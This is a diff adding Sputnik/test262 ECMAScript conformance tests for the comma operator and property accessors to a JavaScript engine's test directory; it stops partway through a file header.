diff --git a/js/src/tests/test262/ch11/11.14/S11.14_A2.1_T1.js b/js/src/tests/test262/ch11/11.14/S11.14_A2.1_T1.js
new file mode 100644
index 000000000..e53336886
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.14/S11.14_A2.1_T1.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.14/S11.14_A2.1_T1.js
+ * @description Either Expression is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ((1,2) !== 2) {
+ $ERROR('#1: (1,2) === 2. Actual: ' + ((1,2)));
+}
+
+//CHECK#2
+var x = 1;
+if ((x, 2) !== 2) {
+ $ERROR('#2: var x = 1; (x, 2) === 2. Actual: ' + ((x, 2)));
+}
+
+//CHECK#3
+var y = 2;
+if ((1, y) !== 2) {
+ $ERROR('#3: var y = 2; (1, y) === 2. Actual: ' + ((1, y)));
+}
+
+//CHECK#4
+var x = 1;
+var y = 2;
+if ((x, y) !== 2) {
+ $ERROR('#4: var x = 1; var y = 2; (x, y) === 2. Actual: ' + ((x, y)));
+}
+
+//CHECK#5
+var x = 1;
+if ((x, x) !== 1) {
+ $ERROR('#5: var x = 1; (x, x) === 1. Actual: ' + ((x, x)));
+}
+
+//CHECK#6
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = true;
+objecty.prop = 1.1;
+if ((objectx.prop = false, objecty.prop) !== objecty.prop) {
+ $ERROR('#6: var objectx = new Object(); var objecty = new Object(); objectx.prop = true; objecty.prop = 1; (objectx.prop = false, objecty.prop) === objecty.prop. Actual: ' + ((objectx.prop = false, objecty.prop)));
+} else {
+ if (objectx.prop !== false) {
+ $ERROR('#6: var objectx = new Object(); var objecty = new Object(); objectx.prop = true; objecty.prop = 1; objectx.prop = false, objecty.prop; objectx.prop === false');
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.14/S11.14_A2.1_T2.js b/js/src/tests/test262/ch11/11.14/S11.14_A2.1_T2.js
new file mode 100644
index 000000000..3a6106edd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.14/S11.14_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.14/S11.14_A2.1_T2.js
+ * @description If GetBase(Expression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x, 1;
+ $ERROR('#1.1: x, 1 throw ReferenceError. Actual: ' + (x, 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x, 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.14/S11.14_A2.1_T3.js b/js/src/tests/test262/ch11/11.14/S11.14_A2.1_T3.js
new file mode 100644
index 000000000..ad654eeb0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.14/S11.14_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.14/S11.14_A2.1_T3.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1, y;
+ $ERROR('#1.1: 1, y throw ReferenceError. Actual: ' + (1, y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1, y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.14/S11.14_A3.js b/js/src/tests/test262/ch11/11.14/S11.14_A3.js
new file mode 100644
index 000000000..d8858aa3d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.14/S11.14_A3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Comma Operator evaluates all Expressions and returns the last of them
+ *
+ * @path ch11/11.14/S11.14_A3.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+var y = 0;
+var z = 0;
+if ((x = 1, y = 2, z = 3) !== 3) {
+ $ERROR('#1: var x = 0; var y = 0; var z = 0; (x = 1, y = 2, z = 3) === 3. Actual: ' + ((x = 1, y = 2, z = 3)));
+}
+
+var x = 0;
+var y = 0;
+var z = 0;
+x = 1, y = 2, z = 3;
+
+//CHECK#2
+if (x !== 1) {
+ $ERROR('#2: var x = 0; var y = 0; var z = 0; x = 1, y = 2, z = 3; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+if (y !== 2) {
+ $ERROR('#3: var x = 0; var y = 0; var z = 0; x = 1, y = 2, z = 3; y === 2. Actual: ' + (y));
+}
+
+//CHECK#4
+if (z !== 3) {
+ $ERROR('#4: var x = 0; var y = 0; var z = 0; x = 1, y = 2, z = 3; z === 3. Actual: ' + (z));
+}
+
diff --git a/js/src/tests/test262/ch11/11.14/browser.js b/js/src/tests/test262/ch11/11.14/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.14/browser.js
diff --git a/js/src/tests/test262/ch11/11.14/shell.js b/js/src/tests/test262/ch11/11.14/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.14/shell.js
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A1.1.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A1.1.js
new file mode 100644
index 000000000..d8b3561b8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A1.1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between MemberExpression or CallExpression and "." and between "." and Identifier are allowed
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A1.1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("Number\u0009.\u0009POSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: Number\\u0009.\\u0009POSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#2
+if (eval("Number\u000B.\u000BPOSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2: Number\\u000B.\\u000BPOSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#3
+if (eval("Number\u000C.\u000CPOSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: Number\\u000C.\\u000CPOSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#4
+if (eval("Number\u0020.\u0020POSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4: Number\\u0020.\\u0020POSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#5
+if (eval("Number\u00A0.\u00A0POSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5: Number\\u00A0.\\u00A0POSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#6
+if (eval("Number\u000A.\u000APOSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#6: Number\\u000A.\\u000APOSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#7
+if (eval("Number\u000D.\u000DPOSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#7: Number\\u000D.\\u000DPOSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#8
+if (eval("Number\u2028.\u2028POSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#8: Number\\u2028.\\u2028POSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#9
+if (eval("Number\u2029.\u2029POSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#9: Number\\u2029.\\u2029POSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#10
+if (eval("Number\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029.\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029POSITIVE_INFINITY") !== Number.POSITIVE_INFINITY) {
+ $ERROR('#10: Number\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029.\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029POSITIVE_INFINITY === Number.POSITIVE_INFINITY');
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A1.2.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A1.2.js
new file mode 100644
index 000000000..a820dbd5d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A1.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "[" and MemberExpression or CallExpression and between Identifier and "]" are allowed
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A1.2.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval('Number[\u0009"POSITIVE_INFINITY"\u0009]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: Number[\\u0009"POSITIVE_INFINITY"\\u0009] === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#2
+if (eval('Number[\u000B"POSITIVE_INFINITY"\u000B]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2: Number[\\u000B"POSITIVE_INFINITY"\\u000B] === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#3
+if (eval('Number[\u000C"POSITIVE_INFINITY"\u000C]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: Number[\\u000C"POSITIVE_INFINITY"\\u000C] === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#4
+if (eval('Number[\u0020"POSITIVE_INFINITY"\u0020]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4: Number[\\u0020"POSITIVE_INFINITY"\\u0020] === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#5
+if (eval('Number[\u00A0"POSITIVE_INFINITY"\u00A0]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5: Number[\\u00A0"POSITIVE_INFINITY"\\u00A0] === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#6
+if (eval('Number[\u000A"POSITIVE_INFINITY"\u000A]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#6: Number[\\u000A"POSITIVE_INFINITY"\\u000A] === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#7
+if (eval('Number[\u000D"POSITIVE_INFINITY"\u000D]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#7: Number[\\u000D"POSITIVE_INFINITY"\\u000D] === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#8
+if (eval('Number[\u2028"POSITIVE_INFINITY"\u2028]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#8: Number[\\u2028"POSITIVE_INFINITY"\\u2028] === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#9
+if (eval('Number[\u2029"POSITIVE_INFINITY"\u2029]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#9: Number[\\u2029"POSITIVE_INFINITY"\\u2029] === Number.POSITIVE_INFINITY');
+}
+
+//CHECK#10
+if (eval('Number[\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029"POSITIVE_INFINITY"\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029]') !== Number.POSITIVE_INFINITY) {
+ $ERROR('#10: Number[\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029"POSITIVE_INFINITY"\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029] === Number.POSITIVE_INFINITY');
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A2.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A2.js
new file mode 100644
index 000000000..1237eae5e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * MemberExpression and CallExpression uses GetValue
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A2.js
+ * @description If GetBase(MemberExpression or CallExpression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ object[1];
+ $ERROR('#1.1: object[1] throw ReferenceError. Actual: ' + (object[1]));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: object[1] throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ object.prop;
+ $ERROR('#2.1: object.prop throw ReferenceError. Actual: ' + (object.prop));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#2.2: object.prop throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T1.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T1.js
new file mode 100644
index 000000000..a13f25e7b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * MemberExpression calls ToObject(MemberExpression) and ToString(Expression). CallExpression calls ToObject(CallExpression) and ToString(Expression)
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A3_T1.js
+ * @description Checking Boolean case
+ */
+
+//CHECK#1
+if (true.toString() !== "true") {
+ $ERROR('#1: true.toString() === "true". Actual: ' + (true.toString()));
+}
+
+//CHECK#2
+if (false["toString"]() !== "false") {
+ $ERROR('#2: false["toString"]() === "false". Actual: ' + (false["toString"]()));
+}
+
+//CHECK#3
+if (new Boolean(true).toString() !== "true") {
+ $ERROR('#3: new Boolean(true).toString() === "true". Actual: ' + (new Boolean(true).toString()));
+}
+
+//CHECK#4
+if (new Boolean(false)["toString"]() !== "false") {
+ $ERROR('#4: new Boolean(false)["toString"]() === "false". Actual: ' + (new Boolean(false)["toString"]()));
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T2.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T2.js
new file mode 100644
index 000000000..defe6a8c8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T2.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * MemberExpression calls ToObject(MemberExpression) and ToString(Expression). CallExpression calls ToObject(CallExpression) and ToString(Expression)
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A3_T2.js
+ * @description Checking Number case
+ */
+
+//CHECK#1
+if (1..toString() !== "1") {
+ $ERROR('#1: 1..toString() === "1". Actual: ' + (1..toString()));
+}
+
+//CHECK#2
+if (1.1.toFixed(5) !== "1.10000") {
+ $ERROR('#2: 1.1.toFixed(5) === "1.10000". Actual: ' + (1.1.toFixed(5)));
+}
+
+//CHECK#3
+if (1["toString"]() !== "1") {
+ $ERROR('#3: 1["toString"]() === "1". Actual: ' + (1["toString"]()));
+}
+
+//CHECK#4
+if (1.["toFixed"](5) !== "1.00000") {
+ $ERROR('#4: 1.["toFixed"](5) === "1.00000". Actual: ' + (1.["toFixed"](5)));
+}
+
+//CHECK#5
+if (new Number(1).toString() !== "1") {
+ $ERROR('#5: new Number(1).toString() === "1". Actual: ' + (new Number(1).toString()));
+}
+
+//CHECK#6
+if (new Number(1)["toFixed"](5) !== "1.00000") {
+ $ERROR('#6: new Number(1)["toFixed"](5) === "1.00000". Actual: ' + (new Number(1)["toFixed"](5)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T3.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T3.js
new file mode 100644
index 000000000..14a0e85e3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * MemberExpression calls ToObject(MemberExpression) and ToString(Expression). CallExpression calls ToObject(CallExpression) and ToString(Expression)
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A3_T3.js
+ * @description Checking String case;
+ */
+
+//CHECK#1
+if ("abc123".charAt(5) !== "3") {
+ $ERROR('#1: "abc123".charAt(5) === "3". Actual: ' + ("abc123".charAt(5)));
+}
+
+//CHECK#2
+if ("abc123"["charAt"](0) !== "a") {
+ $ERROR('#2: "abc123"["charAt"](0) === "a". Actual: ' + ("abc123"["charAt"](0)));
+}
+
+//CHECK#3
+if ("abc123".length !== 6) {
+ $ERROR('#3: "abc123".length === 6. Actual: ' + ("abc123".length));
+}
+
+//CHECK#4
+if ("abc123"["length"] !== 6) {
+ $ERROR('#4: "abc123"["length"] === 6. Actual: ' + ("abc123"["length"]));
+}
+
+//CHECK#5
+if (new String("abc123").length !== 6) {
+ $ERROR('#5: new String("abc123").length === 6. Actual: ' + (new String("abc123").length));
+}
+
+//CHECK#6
+if (new String("abc123")["charAt"](2) !== "c") {
+ $ERROR('#6: new String("abc123")["charAt"](2) === "c". Actual: ' + (new String("abc123")["charAt"](2)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T4.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T4.js
new file mode 100644
index 000000000..2c360c65d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T4.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * MemberExpression calls ToObject(MemberExpression) and ToString(Expression). CallExpression calls ToObject(CallExpression) and ToString(Expression)
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A3_T4.js
+ * @description Checking "undefined" case
+ */
+
+//CHECK#1
+try {
+ undefined.toString();
+ $ERROR('#1.1: undefined.toString() throw TypeError. Actual: ' + (undefined.toString()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: undefined.toString() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ undefined["toString"]();
+ $ERROR('#2.1: undefined["toString"]() throw TypeError. Actual: ' + (undefined["toString"]()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: undefined["toString"]() throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T5.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T5.js
new file mode 100644
index 000000000..405415f72
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A3_T5.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * MemberExpression calls ToObject(MemberExpression) and ToString(Expression). CallExpression calls ToObject(CallExpression) and ToString(Expression)
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A3_T5.js
+ * @description Checking "null" case
+ */
+
+//CHECK#1
+try {
+ null.toString();
+ $ERROR('#1.1: null.toString() throw TypeError. Actual: ' + (null.toString()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#1.2: null.toString() throw TypeError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+try {
+ null["toString"]();
+ $ERROR('#2.1: null["toString"]() throw TypeError. Actual: ' + (null["toString"]()));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#2.2: null["toString"]() throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T1.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T1.js
new file mode 100644
index 000000000..8f9212243
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check type of various properties
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A4_T1.js
+ * @description Checking properties of this object
+ */
+
+//CHECK#1-32
+if (typeof (this.NaN) === "undefined") $ERROR('#1: typeof (this.NaN) !== "undefined"');
+if (typeof this['NaN'] === "undefined") $ERROR('#2: typeof this["NaN"] !== "undefined"');
+if (typeof this.Infinity === "undefined") $ERROR('#3: typeof this.Infinity !== "undefined"');
+if (typeof this['Infinity'] === "undefined") $ERROR('#4: typeof this["Infinity"] !== "undefined"');
+if (typeof this.parseInt === "undefined") $ERROR('#5: typeof this.parseInt !== "undefined"');
+if (typeof this['parseInt'] === "undefined") $ERROR('#6: typeof this["parseInt"] !== "undefined"');
+if (typeof this.parseFloat === "undefined") $ERROR('#7: typeof this.parseFloat !== "undefined"');
+if (typeof this['parseFloat'] === "undefined") $ERROR('#8: typeof this["parseFloat"] !== "undefined"');
+if (typeof this.isNaN === "undefined") $ERROR('#13: typeof this.isNaN !== "undefined"');
+if (typeof this['isNaN'] === "undefined") $ERROR('#14: typeof this["isNaN"] !== "undefined"');
+if (typeof this.isFinite === "undefined") $ERROR('#15: typeof this.isFinite !== "undefined"');
+if (typeof this['isFinite'] === "undefined") $ERROR('#16: typeof this["isFinite"] !== "undefined"');
+if (typeof this.Object === "undefined") $ERROR('#17: typeof this.Object !== "undefined"');
+if (typeof this['Object'] === "undefined") $ERROR('#18: typeof this["Object"] !== "undefined"');
+if (typeof this.Number === "undefined") $ERROR('#19: typeof this.Number !== "undefined"');
+if (typeof this['Number'] === "undefined") $ERROR('#20: typeof this["Number"] !== "undefined"');
+if (typeof this.Function === "undefined") $ERROR('#21: typeof this.Function !== "undefined"');
+if (typeof this['Function'] === "undefined") $ERROR('#22: typeof this["Function"] !== "undefined"');
+if (typeof this.Array === "undefined") $ERROR('#23: typeof this.Array !== "undefined"');
+if (typeof this['Array'] === "undefined") $ERROR('#24: typeof this["Array"] !== "undefined"');
+if (typeof this.String === "undefined") $ERROR('#25: typeof this.String !== "undefined"');
+if (typeof this['String'] === "undefined") $ERROR('#26: typeof this["String"] !== "undefined"');
+if (typeof this.Boolean === "undefined") $ERROR('#27: typeof this.Boolean !== "undefined"');
+if (typeof this['Boolean'] === "undefined") $ERROR('#28: typeof this["Boolean"] !== "undefined"');
+if (typeof this.Date === "undefined") $ERROR('#29: typeof this.Date !== "undefined"');
+if (typeof this['Date'] === "undefined") $ERROR('#30: typeof this["Date"] !== "undefined"');
+if (typeof this.Math === "undefined") $ERROR('#31: typeof this.Math !== "undefined"');
+if (typeof this['Math'] === "undefined") $ERROR('#32: typeof this["Math"] !== "undefined"');
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T2.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T2.js
new file mode 100644
index 000000000..ed27f8534
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check type of various properties
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A4_T2.js
+ * @description Checking properties and methods of Object objects
+ */
+
+//CHECK#1-8
+if (typeof Object.prototype !== "object") $ERROR('#1: typeof Object.prototype === "object". Actual: ' + (typeof Object.prototype ));
+if (typeof Object['prototype'] !== "object") $ERROR('#2: typeof Object["prototype"] === "object". Actual: ' + (typeof Object["prototype"] ));
+if (typeof Object.toString !== "function") $ERROR('#3: typeof Object.toString === "function". Actual: ' + (typeof Object.toString ));
+if (typeof Object['toString'] !== "function") $ERROR('#4: typeof Object["toString"] === "function". Actual: ' + (typeof Object["toString"] ));
+if (typeof Object.valueOf !== "function") $ERROR('#5: typeof Object.valueOf === "function". Actual: ' + (typeof Object.valueOf ));
+if (typeof Object['valueOf'] !== "function") $ERROR('#6: typeof Object["valueOf"] === "function". Actual: ' + (typeof Object["valueOf"] ));
+if (typeof Object.constructor !== "function") $ERROR('#7: typeof Object.constructor === "function". Actual: ' + (typeof Object.constructor ));
+if (typeof Object['constructor'] !== "function") $ERROR('#8: typeof Object["constructor"] === "function". Actual: ' + (typeof Object["constructor"] ));
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T3.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T3.js
new file mode 100644
index 000000000..dfa72b139
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check type of various properties
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A4_T3.js
+ * @description Checking properties of the Function object
+ */
+
+//CHECK#1-8
+if (typeof Function.prototype !== "function") $ERROR('#1: typeof Function.prototype === "function". Actual: ' + (typeof Function.prototype ));
+if (typeof Function['prototype'] !== "function") $ERROR('#2: typeof Function["prototype"] === "function". Actual: ' + (typeof Function["prototype"] ));
+if (typeof Function.prototype.toString !== "function") $ERROR('#3: typeof Function.prototype.toString === "function". Actual: ' + (typeof Function.prototype.toString ));
+if (typeof Function.prototype['toString'] !== "function") $ERROR('#4: typeof Function.prototype["toString"] === "function". Actual: ' + (typeof Function.prototype["toString"] ));
+if (typeof Function.prototype.length !== "number") $ERROR('#5: typeof Function.prototype.length === "number". Actual: ' + (typeof Function.prototype.length ));
+if (typeof Function.prototype['length'] !== "number") $ERROR('#6: typeof Function.prototype["length"] === "number". Actual: ' + (typeof Function.prototype["length"] ));
+if (typeof Function.prototype.valueOf !== "function") $ERROR('#7: typeof Function.prototype.valueOf === "function". Actual: ' + (typeof Function.prototype.valueOf ));
+if (typeof Function.prototype['valueOf'] !== "function") $ERROR('#8: typeof Function.prototype["valueOf"] === "function". Actual: ' + (typeof Function.prototype["valueOf"] ));
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T4.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T4.js
new file mode 100644
index 000000000..da4633fe2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T4.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check type of various properties
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A4_T4.js
+ * @description Checking properties of the Array object
+ */
+
+//CHECK#1-8
+if (typeof Array.prototype !== "object") $ERROR('#1: typeof Array.prototype === "object". Actual: ' + (typeof Array.prototype ));
+if (typeof Array['prototype'] !== "object") $ERROR('#2: typeof Array["prototype"] === "object". Actual: ' + (typeof Array["prototype"] ));
+if (typeof Array.length !== "number") $ERROR('#3: typeof Array.length === "number". Actual: ' + (typeof Array.length ));
+if (typeof Array['length'] !== "number") $ERROR('#4: typeof Array["length"] === "number". Actual: ' + (typeof Array["length"] ));
+if (typeof Array.prototype.constructor !== "function") $ERROR('#5: typeof Array.prototype.constructor === "function". Actual: ' + (typeof Array.prototype.constructor ));
+if (typeof Array.prototype['constructor'] !== "function") $ERROR('#6: typeof Array.prototype["constructor"] === "function". Actual: ' + (typeof Array.prototype["constructor"] ));
+if (typeof Array.prototype.toString !== "function") $ERROR('#7: typeof Array.prototype.toString === "function". Actual: ' + (typeof Array.prototype.toString ));
+if (typeof Array.prototype['toString'] !== "function") $ERROR('#8: typeof Array.prototype["toString"] === "function". Actual: ' + (typeof Array.prototype["toString"] ));
+if (typeof Array.prototype.join !== "function") $ERROR('#9: typeof Array.prototype.join === "function". Actual: ' + (typeof Array.prototype.join ));
+if (typeof Array.prototype['join'] !== "function") $ERROR('#10: typeof Array.prototype["join"] === "function". Actual: ' + (typeof Array.prototype["join"] ));
+if (typeof Array.prototype.reverse !== "function") $ERROR('#11: typeof Array.prototype.reverse === "function". Actual: ' + (typeof Array.prototype.reverse ));
+if (typeof Array.prototype['reverse'] !== "function") $ERROR('#12: typeof Array.prototype["reverse"] === "function". Actual: ' + (typeof Array.prototype["reverse"] ));
+if (typeof Array.prototype.sort !== "function") $ERROR('#13: typeof Array.prototype.sort === "function". Actual: ' + (typeof Array.prototype.sort ));
+if (typeof Array.prototype['sort'] !== "function") $ERROR('#14: typeof Array.prototype["sort"] === "function". Actual: ' + (typeof Array.prototype["sort"] ));
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T5.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T5.js
new file mode 100644
index 000000000..02904c0b4
